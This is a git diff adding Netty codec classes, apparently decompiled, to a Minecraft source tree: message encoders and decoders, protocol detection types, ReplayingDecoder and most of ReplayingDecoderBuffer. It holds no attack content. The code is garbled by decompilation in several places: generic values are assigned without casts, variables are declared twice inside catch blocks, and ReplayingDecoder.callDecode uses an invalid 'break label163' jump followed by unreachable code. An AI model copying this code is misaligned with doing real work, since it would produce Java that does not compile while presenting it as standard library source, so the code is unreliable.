+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    encoder.write(ctx, msg, promise);
+  }
+  
+
+
+
+  public boolean acceptInboundMessage(Object msg)
+    throws Exception
+  {
+    return inboundMsgMatcher.match(msg);
+  }
+  
+
+
+
+  public boolean acceptOutboundMessage(Object msg)
+    throws Exception
+  {
+    return outboundMsgMatcher.match(msg);
+  }
+  
+  protected abstract void encode(ChannelHandlerContext paramChannelHandlerContext, OUTBOUND_IN paramOUTBOUND_IN, List<Object> paramList)
+    throws Exception;
+  
+  protected abstract void decode(ChannelHandlerContext paramChannelHandlerContext, INBOUND_IN paramINBOUND_IN, List<Object> paramList)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/MessageToMessageDecoder.java b/src/minecraft/io/netty/handler/codec/MessageToMessageDecoder.java
new file mode 100644
index 0000000..d66e0b3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/MessageToMessageDecoder.java
@@ -0,0 +1,111 @@
+package io.netty.handler.codec;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.internal.RecyclableArrayList;
+import io.netty.util.internal.TypeParameterMatcher;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MessageToMessageDecoder<I>
+  extends ChannelInboundHandlerAdapter
+{
+  private final TypeParameterMatcher matcher;
+  
+  protected MessageToMessageDecoder()
+  {
+    matcher = TypeParameterMatcher.find(this, MessageToMessageDecoder.class, "I");
+  }
+  
+
+
+
+
+  protected MessageToMessageDecoder(Class<? extends I> inboundMessageType)
+  {
+    matcher = TypeParameterMatcher.get(inboundMessageType);
+  }
+  
+
+
+  public boolean acceptInboundMessage(Object msg)
+    throws Exception
+  {
+    return matcher.match(msg);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    RecyclableArrayList out = RecyclableArrayList.newInstance();
+    try {
+      if (acceptInboundMessage(msg))
+      {
+        I cast = msg;
+        try {
+          decode(ctx, cast, out);
+        } finally {
+          ReferenceCountUtil.release(cast);
+        }
+      } else {
+        out.add(msg);
+      } } catch (DecoderException e) { int size;
+      int i;
+      throw e;
+    } catch (Exception e) {
+      throw new DecoderException(e);
+    } finally {
+      int size = out.size();
+      for (int i = 0; i < size; i++) {
+        ctx.fireChannelRead(out.get(i));
+      }
+      out.recycle();
+    }
+  }
+  
+  protected abstract void decode(ChannelHandlerContext paramChannelHandlerContext, I paramI, List<Object> paramList)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/MessageToMessageEncoder.java b/src/minecraft/io/netty/handler/codec/MessageToMessageEncoder.java
new file mode 100644
index 0000000..a4075f9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/MessageToMessageEncoder.java
@@ -0,0 +1,136 @@
+package io.netty.handler.codec;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelOutboundHandlerAdapter;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.internal.RecyclableArrayList;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.TypeParameterMatcher;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MessageToMessageEncoder<I>
+  extends ChannelOutboundHandlerAdapter
+{
+  private final TypeParameterMatcher matcher;
+  
+  protected MessageToMessageEncoder()
+  {
+    matcher = TypeParameterMatcher.find(this, MessageToMessageEncoder.class, "I");
+  }
+  
+
+
+
+
+  protected MessageToMessageEncoder(Class<? extends I> outboundMessageType)
+  {
+    matcher = TypeParameterMatcher.get(outboundMessageType);
+  }
+  
+
+
+  public boolean acceptOutboundMessage(Object msg)
+    throws Exception
+  {
+    return matcher.match(msg);
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    RecyclableArrayList out = null;
+    try {
+      if (acceptOutboundMessage(msg)) {
+        out = RecyclableArrayList.newInstance();
+        
+        I cast = msg;
+        try {
+          encode(ctx, cast, out);
+        } finally {
+          ReferenceCountUtil.release(cast);
+        }
+        
+        if (out.isEmpty()) {
+          out.recycle();
+          out = null;
+          
+          throw new EncoderException(StringUtil.simpleClassName(this) + " must produce at least one message.");
+        }
+      }
+      else {
+        ctx.write(msg, promise); } } catch (EncoderException e) { int sizeMinusOne;
+      ChannelPromise voidPromise;
+      boolean isVoidPromise;
+      int i; ChannelPromise p; ChannelPromise p; throw e;
+    } catch (Throwable t) {
+      throw new EncoderException(t);
+    } finally {
+      if (out != null) {
+        int sizeMinusOne = out.size() - 1;
+        if (sizeMinusOne == 0) {
+          ctx.write(out.get(0), promise);
+        } else if (sizeMinusOne > 0)
+        {
+
+          ChannelPromise voidPromise = ctx.voidPromise();
+          boolean isVoidPromise = promise == voidPromise;
+          for (int i = 0; i < sizeMinusOne; i++) { ChannelPromise p;
+            ChannelPromise p;
+            if (isVoidPromise) {
+              p = voidPromise;
+            } else {
+              p = ctx.newPromise();
+            }
+            ctx.write(out.get(i), p);
+          }
+          ctx.write(out.get(sizeMinusOne), promise);
+        }
+        out.recycle();
+      }
+    }
+  }
+  
+  protected abstract void encode(ChannelHandlerContext paramChannelHandlerContext, I paramI, List<Object> paramList)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/PrematureChannelClosureException.java b/src/minecraft/io/netty/handler/codec/PrematureChannelClosureException.java
new file mode 100644
index 0000000..f07cb88
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/PrematureChannelClosureException.java
@@ -0,0 +1,54 @@
+package io.netty.handler.codec;
+
+
+
+
+
+
+
+
+
+
+public class PrematureChannelClosureException
+  extends CodecException
+{
+  private static final long serialVersionUID = 4907642202594703094L;
+  
+
+
+
+
+
+
+
+
+
+  public PrematureChannelClosureException() {}
+  
+
+
+
+
+
+
+
+
+  public PrematureChannelClosureException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public PrematureChannelClosureException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public PrematureChannelClosureException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/ProtocolDetectionResult.java b/src/minecraft/io/netty/handler/codec/ProtocolDetectionResult.java
new file mode 100644
index 0000000..ec960e7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/ProtocolDetectionResult.java
@@ -0,0 +1,80 @@
+package io.netty.handler.codec;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ProtocolDetectionResult<T>
+{
+  private static final ProtocolDetectionResult NEEDS_MORE_DATE = new ProtocolDetectionResult(ProtocolDetectionState.NEEDS_MORE_DATA, null);
+  
+
+  private static final ProtocolDetectionResult INVALID = new ProtocolDetectionResult(ProtocolDetectionState.INVALID, null);
+  
+
+  private final ProtocolDetectionState state;
+  
+
+  private final T result;
+  
+
+  public static <T> ProtocolDetectionResult<T> needsMoreData()
+  {
+    return NEEDS_MORE_DATE;
+  }
+  
+
+
+
+  public static <T> ProtocolDetectionResult<T> invalid()
+  {
+    return INVALID;
+  }
+  
+
+
+
+  public static <T> ProtocolDetectionResult<T> detected(T protocol)
+  {
+    return new ProtocolDetectionResult(ProtocolDetectionState.DETECTED, ObjectUtil.checkNotNull(protocol, "protocol"));
+  }
+  
+  private ProtocolDetectionResult(ProtocolDetectionState state, T result) {
+    this.state = state;
+    this.result = result;
+  }
+  
+
+
+
+  public ProtocolDetectionState state()
+  {
+    return state;
+  }
+  
+
+
+  public T detectedProtocol()
+  {
+    return result;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/ProtocolDetectionState.java b/src/minecraft/io/netty/handler/codec/ProtocolDetectionState.java
new file mode 100644
index 0000000..714b95f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/ProtocolDetectionState.java
@@ -0,0 +1,8 @@
+package io.netty.handler.codec;
+
+public enum ProtocolDetectionState
+{
+  NEEDS_MORE_DATA,  INVALID,  DETECTED;
+  
+  private ProtocolDetectionState() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/ReplayingDecoder.java b/src/minecraft/io/netty/handler/codec/ReplayingDecoder.java
new file mode 100644
index 0000000..14c63fa
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/ReplayingDecoder.java
@@ -0,0 +1,428 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.Signal;
+import io.netty.util.internal.RecyclableArrayList;
+import io.netty.util.internal.StringUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ReplayingDecoder<S>
+  extends ByteToMessageDecoder
+{
+  static final Signal REPLAY = Signal.valueOf(ReplayingDecoder.class.getName() + ".REPLAY");
+  
+  private final ReplayingDecoderBuffer replayable = new ReplayingDecoderBuffer();
+  private S state;
+  private int checkpoint = -1;
+  
+
+
+  protected ReplayingDecoder()
+  {
+    this(null);
+  }
+  
+
+
+  protected ReplayingDecoder(S initialState)
+  {
+    state = initialState;
+  }
+  
+
+
+  protected void checkpoint()
+  {
+    checkpoint = internalBuffer().readerIndex();
+  }
+  
+
+
+
+  protected void checkpoint(S state)
+  {
+    checkpoint();
+    state(state);
+  }
+  
+
+
+
+  protected S state()
+  {
+    return state;
+  }
+  
+
+
+
+  protected S state(S newState)
+  {
+    S oldState = state;
+    state = newState;
+    return oldState;
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    RecyclableArrayList out = RecyclableArrayList.newInstance();
+    try {
+      replayable.terminate();
+      callDecode(ctx, internalBuffer(), out);
+      decodeLast(ctx, replayable, out);
+    } catch (Signal replay) { int size;
+      int i;
+      replay.expect(REPLAY); } catch (DecoderException e) { int size;
+      int i;
+      throw e;
+    } catch (Exception e) {
+      throw new DecoderException(e);
+    } finally {
+      try {
+        if (cumulation != null) {
+          cumulation.release();
+          cumulation = null;
+        }
+        int size = out.size();
+        for (int i = 0; i < size; i++) {
+          ctx.fireChannelRead(out.get(i));
+        }
+        if (size > 0)
+        {
+          ctx.fireChannelReadComplete();
+        }
+        ctx.fireChannelInactive();
+      }
+      finally {
+        out.recycle();
+      }
+    }
+  }
+  
+  protected void callDecode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+  {
+    replayable.setCumulation(in);
+    try {
+      while (in.isReadable()) {
+        int oldReaderIndex = this.checkpoint = in.readerIndex();
+        int outSize = out.size();
+        S oldState = state;
+        int oldInputLength = in.readableBytes();
+        try {
+          decode(ctx, replayable, out);
+          
+
+
+
+
+          if (ctx.isRemoved()) {
+            break;
+          }
+          
+          if (outSize == out.size()) {
+            if ((oldInputLength == in.readableBytes()) && (oldState == state)) {
+              throw new DecoderException(StringUtil.simpleClassName(getClass()) + ".decode() must consume the inbound " + "data or change its state if it did not decode anything.");
+            }
+            
+
+
+
+            continue;
+          }
+        }
+        catch (Signal replay) {
+          replay.expect(REPLAY);
+          
+
+
+
+
+          if (!ctx.isRemoved()) break label163; }
+        break;
+        
+        label163:
+        
+        int checkpoint = this.checkpoint;
+        if (checkpoint >= 0) {
+          in.readerIndex(checkpoint);
+        }
+        
+
+
+        break;
+        
+
+        if ((oldReaderIndex == in.readerIndex()) && (oldState == state)) {
+          throw new DecoderException(StringUtil.simpleClassName(getClass()) + ".decode() method must consume the inbound data " + "or change its state if it decoded something.");
+        }
+        
+
+        if (isSingleDecode()) {
+          break;
+        }
+      }
+    } catch (DecoderException e) {
+      throw e;
+    } catch (Throwable cause) {
+      throw new DecoderException(cause);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/ReplayingDecoderBuffer.java b/src/minecraft/io/netty/handler/codec/ReplayingDecoderBuffer.java
new file mode 100644
index 0000000..9d034eb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/ReplayingDecoderBuffer.java
@@ -0,0 +1,1008 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufProcessor;
+import io.netty.buffer.SwappedByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.Signal;
+import io.netty.util.internal.StringUtil;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ReplayingDecoderBuffer
+  extends ByteBuf
+{
+  private static final Signal REPLAY = ReplayingDecoder.REPLAY;
+  
+  private ByteBuf buffer;
+  
+  private boolean terminated;
+  private SwappedByteBuf swapped;
+  static final ReplayingDecoderBuffer EMPTY_BUFFER = new ReplayingDecoderBuffer(Unpooled.EMPTY_BUFFER);
+  
+  static {
+    EMPTY_BUFFER.terminate();
+  }
+  
+
+  ReplayingDecoderBuffer(ByteBuf buffer)
+  {
+    setCumulation(buffer);
+  }
+  
+  void setCumulation(ByteBuf buffer) {
+    this.buffer = buffer;
+  }
+  
+  void terminate() {
+    terminated = true;
+  }
+  
+  public int capacity()
+  {
+    if (terminated) {
+      return buffer.capacity();
+    }
+    return Integer.MAX_VALUE;
+  }
+  
+
+  public ByteBuf capacity(int newCapacity)
+  {
+    reject();
+    return this;
+  }
+  
+  public int maxCapacity()
+  {
+    return capacity();
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return buffer.alloc();
+  }
+  
+  public boolean isDirect()
+  {
+    return buffer.isDirect();
+  }
+  
+  public boolean hasArray()
+  {
+    return false;
+  }
+  
+  public byte[] array()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public int arrayOffset()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return false;
+  }
+  
+  public long memoryAddress()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public ByteBuf clear()
+  {
+    reject();
+    return this;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    return this == obj;
+  }
+  
+  public int compareTo(ByteBuf buffer)
+  {
+    reject();
+    return 0;
+  }
+  
+  public ByteBuf copy()
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.copy(index, length);
+  }
+  
+  public ByteBuf discardReadBytes()
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf ensureWritable(int writableBytes)
+  {
+    reject();
+    return this;
+  }
+  
+  public int ensureWritable(int minWritableBytes, boolean force)
+  {
+    reject();
+    return 0;
+  }
+  
+  public ByteBuf duplicate()
+  {
+    reject();
+    return this;
+  }
+  
+  public boolean getBoolean(int index)
+  {
+    checkIndex(index, 1);
+    return buffer.getBoolean(index);
+  }
+  
+  public byte getByte(int index)
+  {
+    checkIndex(index, 1);
+    return buffer.getByte(index);
+  }
+  
+  public short getUnsignedByte(int index)
+  {
+    checkIndex(index, 1);
+    return buffer.getUnsignedByte(index);
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    buffer.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst)
+  {
+    checkIndex(index, dst.length);
+    buffer.getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    buffer.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst)
+  {
+    reject();
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length)
+  {
+    reject();
+    return 0;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public int getInt(int index)
+  {
+    checkIndex(index, 4);
+    return buffer.getInt(index);
+  }
+  
+  public long getUnsignedInt(int index)
+  {
+    checkIndex(index, 4);
+    return buffer.getUnsignedInt(index);
+  }
+  
+  public long getLong(int index)
+  {
+    checkIndex(index, 8);
+    return buffer.getLong(index);
+  }
+  
+  public int getMedium(int index)
+  {
+    checkIndex(index, 3);
+    return buffer.getMedium(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    checkIndex(index, 3);
+    return buffer.getUnsignedMedium(index);
+  }
+  
+  public short getShort(int index)
+  {
+    checkIndex(index, 2);
+    return buffer.getShort(index);
+  }
+  
+  public int getUnsignedShort(int index)
+  {
+    checkIndex(index, 2);
+    return buffer.getUnsignedShort(index);
+  }
+  
+  public char getChar(int index)
+  {
+    checkIndex(index, 2);
+    return buffer.getChar(index);
+  }
+  
+  public float getFloat(int index)
+  {
+    checkIndex(index, 4);
+    return buffer.getFloat(index);
+  }
+  
+  public double getDouble(int index)
+  {
+    checkIndex(index, 8);
+    return buffer.getDouble(index);
+  }
+  
+  public int hashCode()
+  {
+    reject();
+    return 0;
+  }
+  
+  public int indexOf(int fromIndex, int toIndex, byte value)
+  {
+    if (fromIndex == toIndex) {
+      return -1;
+    }
+    
+    if (Math.max(fromIndex, toIndex) > buffer.writerIndex()) {
+      throw REPLAY;
+    }
+    
+    return buffer.indexOf(fromIndex, toIndex, value);
+  }
+  
+  public int bytesBefore(byte value)
+  {
+    int bytes = buffer.bytesBefore(value);
+    if (bytes < 0) {
+      throw REPLAY;
+    }
+    return bytes;
+  }
+  
+  public int bytesBefore(int length, byte value)
+  {
+    int readerIndex = buffer.readerIndex();
+    return bytesBefore(readerIndex, buffer.writerIndex() - readerIndex, value);
+  }
+  
+  public int bytesBefore(int index, int length, byte value)
+  {
+    int writerIndex = buffer.writerIndex();
+    if (index >= writerIndex) {
+      throw REPLAY;
+    }
+    
+    if (index <= writerIndex - length) {
+      return buffer.bytesBefore(index, length, value);
+    }
+    
+    int res = buffer.bytesBefore(index, writerIndex - index, value);
+    if (res < 0) {
+      throw REPLAY;
+    }
+    return res;
+  }
+  
+
+  public int forEachByte(ByteBufProcessor processor)
+  {
+    int ret = buffer.forEachByte(processor);
+    if (ret < 0) {
+      throw REPLAY;
+    }
+    return ret;
+  }
+  
+
+  public int forEachByte(int index, int length, ByteBufProcessor processor)
+  {
+    int writerIndex = buffer.writerIndex();
+    if (index >= writerIndex) {
+      throw REPLAY;
+    }
+    
+    if (index <= writerIndex - length) {
+      return buffer.forEachByte(index, length, processor);
+    }
+    
+    int ret = buffer.forEachByte(index, writerIndex - index, processor);
+    if (ret < 0) {
+      throw REPLAY;
+    }
+    return ret;
+  }
+  
+
+  public int forEachByteDesc(ByteBufProcessor processor)
+  {
+    if (terminated) {
+      return buffer.forEachByteDesc(processor);
+    }
+    reject();
+    return 0;
+  }
+  
+
+  public int forEachByteDesc(int index, int length, ByteBufProcessor processor)
+  {
+    if (index + length > buffer.writerIndex()) {
+      throw REPLAY;
+    }
+    
+    return buffer.forEachByteDesc(index, length, processor);
+  }
+  
+  public ByteBuf markReaderIndex()
+  {
+    buffer.markReaderIndex();
+    return this;
+  }
+  
+  public ByteBuf markWriterIndex()
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteOrder order()
+  {
+    return buffer.order();
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    if (endianness == null) {
+      throw new NullPointerException("endianness");
+    }
+    if (endianness == order()) {
+      return this;
+    }
+    
+    SwappedByteBuf swapped = this.swapped;
+    if (swapped == null) {
+      this.swapped = (swapped = new SwappedByteBuf(this));
+    }
+    return swapped;
+  }
+  
+  public boolean isReadable()
+  {
+    return terminated ? buffer.isReadable() : true;
+  }
+  
+  public boolean isReadable(int size)
+  {
+    return terminated ? buffer.isReadable(size) : true;
+  }
+  
+  public int readableBytes()
+  {
+    if (terminated) {
+      return buffer.readableBytes();
+    }
+    return Integer.MAX_VALUE - buffer.readerIndex();
+  }
+  
+
+  public boolean readBoolean()
+  {
+    checkReadableBytes(1);
+    return buffer.readBoolean();
+  }
+  
+  public byte readByte()
+  {
+    checkReadableBytes(1);
+    return buffer.readByte();
+  }
+  
+  public short readUnsignedByte()
+  {
+    checkReadableBytes(1);
+    return buffer.readUnsignedByte();
+  }
+  
+  public ByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    checkReadableBytes(length);
+    buffer.readBytes(dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(byte[] dst)
+  {
+    checkReadableBytes(dst.length);
+    buffer.readBytes(dst);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int dstIndex, int length)
+  {
+    checkReadableBytes(length);
+    buffer.readBytes(dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst)
+  {
+    checkReadableBytes(dst.writableBytes());
+    buffer.readBytes(dst);
+    return this;
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length)
+  {
+    reject();
+    return 0;
+  }
+  
+  public ByteBuf readBytes(int length)
+  {
+    checkReadableBytes(length);
+    return buffer.readBytes(length);
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    checkReadableBytes(length);
+    return buffer.readSlice(length);
+  }
+  
+  public ByteBuf readBytes(OutputStream out, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public int readerIndex()
+  {
+    return buffer.readerIndex();
+  }
+  
+  public ByteBuf readerIndex(int readerIndex)
+  {
+    buffer.readerIndex(readerIndex);
+    return this;
+  }
+  
+  public int readInt()
+  {
+    checkReadableBytes(4);
+    return buffer.readInt();
+  }
+  
+  public long readUnsignedInt()
+  {
+    checkReadableBytes(4);
+    return buffer.readUnsignedInt();
+  }
+  
+  public long readLong()
+  {
+    checkReadableBytes(8);
+    return buffer.readLong();
+  }
+  
+  public int readMedium()
+  {
+    checkReadableBytes(3);
+    return buffer.readMedium();
+  }
+  
+  public int readUnsignedMedium()
+  {
+    checkReadableBytes(3);
+    return buffer.readUnsignedMedium();
+  }
+  
+  public short readShort()
+  {
+    checkReadableBytes(2);
+    return buffer.readShort();
+  }
+  
+  public int readUnsignedShort()
+  {
+    checkReadableBytes(2);
+    return buffer.readUnsignedShort();
+  }
+  
+  public char readChar()
+  {
+    checkReadableBytes(2);
+    return buffer.readChar();
+  }
+  
+  public float readFloat()
+  {
+    checkReadableBytes(4);
+    return buffer.readFloat();
+  }
+  
+  public double readDouble()
+  {
+    checkReadableBytes(8);
+    return buffer.readDouble();
+  }
+  
+  public ByteBuf resetReaderIndex()
+  {
+    buffer.resetReaderIndex();
+    return this;
+  }
+  
+  public ByteBuf resetWriterIndex()
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setBoolean(int index, boolean value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src)
+  {
+    reject();
+    return this;
+  }
+  
+  public int setBytes(int index, InputStream in, int length)
+  {
+    reject();
+    return 0;
+  }
+  
+  public ByteBuf setZero(int index, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length)
+  {
+    reject();
+    return 0;
+  }
+  
+  public ByteBuf setIndex(int readerIndex, int writerIndex)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setChar(int index, int value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setFloat(int index, float value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf setDouble(int index, double value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf skipBytes(int length)
+  {
+    checkReadableBytes(length);
+    buffer.skipBytes(length);
+    return this;
+  }
+  
+  public ByteBuf slice()
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.slice(index, length);
+  }
+  
+  public int nioBufferCount()
+  {
+    return buffer.nioBufferCount();
+  }
+  
+  public ByteBuffer nioBuffer()
+  {
+    reject();
+    return null;
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.nioBuffer(index, length);
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    reject();
+    return null;
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.nioBuffers(index, length);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.internalNioBuffer(index, length);
+  }
+  
+  public String toString(int index, int length, Charset charset)
+  {
+    checkIndex(index, length);
+    return buffer.toString(index, length, charset);
+  }
+  
+  public String toString(Charset charsetName)
+  {
+    reject();
+    return null;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '(' + "ridx=" + readerIndex() + ", " + "widx=" + writerIndex() + ')';
+  }
+  
+
+
+
+
+
+
+  public boolean isWritable()
+  {
+    return false;
+  }
+  
+  public boolean isWritable(int size)
+  {
+    return false;
+  }
+  
+  public int writableBytes()
+  {
+    return 0;
+  }
+  
+  public int maxWritableBytes()
+  {
+    return 0;
+  }
+  
+  public ByteBuf writeBoolean(boolean value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeByte(int value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeBytes(byte[] src, int srcIndex, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeBytes(byte[] src)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuffer src)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int srcIndex, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src)
+  {
+    reject();
+    return this;
+  }
+  
+  public int writeBytes(InputStream in, int length)
+  {
+    reject();
+    return 0;
+  }
+  
+  public int writeBytes(ScatteringByteChannel in, int length)
+  {
+    reject();
+    return 0;
+  }
+  
+  public ByteBuf writeInt(int value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeLong(long value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeMedium(int value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeZero(int length)
+  {
+    reject();
+    return this;
+  }
+  
+  public int writerIndex()
+  {
+    return buffer.writerIndex();
+  }
+  
+  public ByteBuf writerIndex(int writerIndex)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeShort(int value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeChar(int value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeFloat(float value)
+  {
+    reject();
+    return this;
+  }
+  
+  public ByteBuf writeDouble(double value)
+  {
+    reject();
+    return this;
+  }
+  
+  private void checkIndex(int index, int length) {
+    if (index + length > buffer.writerIndex()) {
+      throw REPLAY;
+    }
+  }
+  
